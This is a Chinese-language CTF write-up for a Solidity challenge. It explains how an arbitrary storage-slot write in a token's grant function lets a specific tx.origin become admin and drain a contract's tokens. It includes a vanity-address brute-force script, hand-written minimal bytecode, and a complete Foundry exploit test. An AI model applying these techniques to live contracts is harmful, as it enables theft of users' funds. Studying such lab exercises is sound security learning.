11.challenge_pro
分析
1.全局观
两个合约:
- ApproveMain:题目初始化,拥有cert代币
- Cert:ERC20代币,增加了
safeCheek()
和grant()
功能
2.任务
将ApproveMain合约拥有的所有ERC20代币归零
1 2 3 4 5 6 7
| function Complete() public returns(bool) { if (cert.balanceOf(address(this)) == 0){ isComplete = true; emit sendflag(msg.sender); } return isComplete; }
|
3.分析
getToken()
糊弄人的,代币数量太大,不断除以2要非常久才能最后变成1除以2四舍五入等于0,所以这条路走不通。
唯一能操作的只有这两个方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| // 特定地址和admin啥也不做,否则 modifier safeCheek(address spender, uint256 amount) { if (uint160(tx.origin) & 0xffffff != 0xbeddC4 || tx.origin == admin) { _; } else { grant(spender, amount); } }
// 将第amount个slot的值设置为tx.origin function grant(address spender, uint256 amount) internal { // spender必须是一个合约,并且代码长度得小于10,长度限制挺苛刻的 require(spender.code.length > 0 && spender.code.length < 10); AddressSlot storage r; bytes32 slot = bytes32(amount); assembly { r.slot := slot } r.value = tx.origin; }
|
想要进入grant()
,我们只能通过tx.origin的低3字节是beddC4
,可以用下面的脚本爆破获得。
但是题目很巧,我们在remix常用的账户0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
满足这个条件,因此CTF需要特殊EOA账户的时候我们可以关注一下remix、hardhat、ganache等工具给的默认账户,题目有时候会从这些地方出题。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import random from ecdsa import ecdsa from eth_utils import keccak
g = ecdsa.generator_secp256k1
while True: private_key = random.randint(0, 1 << 256 - 1) public_key = private_key * g x = str(hex(public_key.x())[2:]) x = ("00" * 32 + x)[-32 * 2:] y = str(hex(public_key.y())[2:]) y = ("00" * 32 + y)[-32 * 2:] public_key_hex = x + y
public_key_bytes = bytes.fromhex(public_key_hex)
keccak_hash = keccak(public_key_bytes)
address = keccak_hash[-20:].hex()
if address[34:40] == "beddc4": print(hex(private_key)) print("0x" + public_key_hex) address_with_prefix = "0x" + address print(address_with_prefix) break
|
虽然能操作slot,但是不是我们能控制改成什么内容,只能将值改成tx.origin,那么就是成为admin。
因此我们的任务是获得admin,然后approve()
和transferFrom()
来完成题目。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| function _approve( address owner, address spender, uint256 amount ) internal { if(tx.origin==admin){ require(msg.sender.code.length>0); _allowances[spender][tx.origin] = amount; return; } require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; }
|
需要注意:
grant()
方法中的require(spender.code.length > 0 && spender.code.length < 10);
:普通的方式创建的合约会肯定会超过10,所以我们自己写bytecdoe然后用内联汇编创建合约。写个最简单的:600180f3
,他是initcode,用来部署,然后其runtimecode是00,长度为1。
1 2 3
| [00] PUSH1 01 [02] DUP1 [03] RETURN
|
_approve()
有要求require(msg.sender.code.length>0);
,因此我们需要写个Helper合约来帮我们
解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13;
import "forge-std/Test.sol"; import "../../src/11.challenge_pro/ApproveMain.sol";
contract attackTest is Test {
ApproveMain approveMain; Cert cert;
function setUp() public{ // 初始化题目 approveMain = new ApproveMain(); cert = approveMain.cert(); }
function test_isComplete() public { console.log("[before attack] level balance:",cert.balanceOf(address(approveMain)));
// 1.创建一个合约用来作为spender address spender; { bytes memory bytecode = hex"600180f3"; assembly { spender := create(0, add(bytecode, 0x20), mload(bytecode)) } console.log("spender's length:",spender.code.length); }
// 2.符合条件的EOA账户调用 vm.startBroadcast(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4);
// 3.EOA账户成为admin cert.approve(address(spender),uint256(3));
// 4.使用Helper帮助我们授权 Helper helper = new Helper(); helper.attack(address(cert),address(approveMain));
// 5.授权完成之后,我们的EOA账户就可以取钱了 cert.transferFrom(address(approveMain),address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4),cert.balanceOf(address(approveMain)));
// 6.检查是否完成题目 assertEq(approveMain.Complete(),true); console.log("[after attack] level balance:",cert.balanceOf(address(approveMain)));
vm.stopBroadcast(); }
}
contract Helper{ function attack(address _addr, address _to) public{ Cert(_addr).approve(_to,type(uint256).max); } }
|